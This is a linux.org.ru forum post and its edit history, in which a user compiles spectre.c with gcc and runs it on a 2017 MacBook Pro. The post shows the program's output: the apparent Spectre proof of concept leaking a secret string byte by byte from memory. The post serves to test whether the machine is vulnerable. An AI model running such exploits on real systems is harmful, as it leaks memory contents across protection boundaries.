LINUX.ORG.RU

История изменений

Исправление constin, (текущая версия) :

MacBook Pro (15–inch, 2017) 2,8 GHz Intel Core i7. (MacOS 10.13.2 (17C88))

$ gcc –std=c99 –O0 spectre.c –o spectre
$./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=983 (second best: 0x00 score=887)
Reading at malicious_x = 0xfffffffffffffeb7... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xfffffffffffffeb8... Success: 0x65=’e’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xfffffffffffffeb9... Unclear: 0x20=’ ’ score=987 (second best: 0x00 score=883)
Reading at malicious_x = 0xfffffffffffffeba... Unclear: 0x4D=’M’ score=977 (second best: 0x00 score=858)
Reading at malicious_x = 0xfffffffffffffebb... Unclear: 0x61=’a’ score=993 (second best: 0x00 score=913)
Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xfffffffffffffebd... Unclear: 0x69=’i’ score=993 (second best: 0x00 score=894)
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x63=’c’ score=980 (second best: 0x00 score=914)
......

Исходная версия constin, :

MacBook Pro (15–inch, 2017) 2,8 GHz Intel Core i7

$ gcc –std=c99 –O0 spectre.c –o spectre
$./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=983 (second best: 0x00 score=887)
Reading at malicious_x = 0xfffffffffffffeb7... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xfffffffffffffeb8... Success: 0x65=’e’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xfffffffffffffeb9... Unclear: 0x20=’ ’ score=987 (second best: 0x00 score=883)
Reading at malicious_x = 0xfffffffffffffeba... Unclear: 0x4D=’M’ score=977 (second best: 0x00 score=858)
Reading at malicious_x = 0xfffffffffffffebb... Unclear: 0x61=’a’ score=993 (second best: 0x00 score=913)
Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xfffffffffffffebd... Unclear: 0x69=’i’ score=993 (second best: 0x00 score=894)
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x63=’c’ score=980 (second best: 0x00 score=914)
......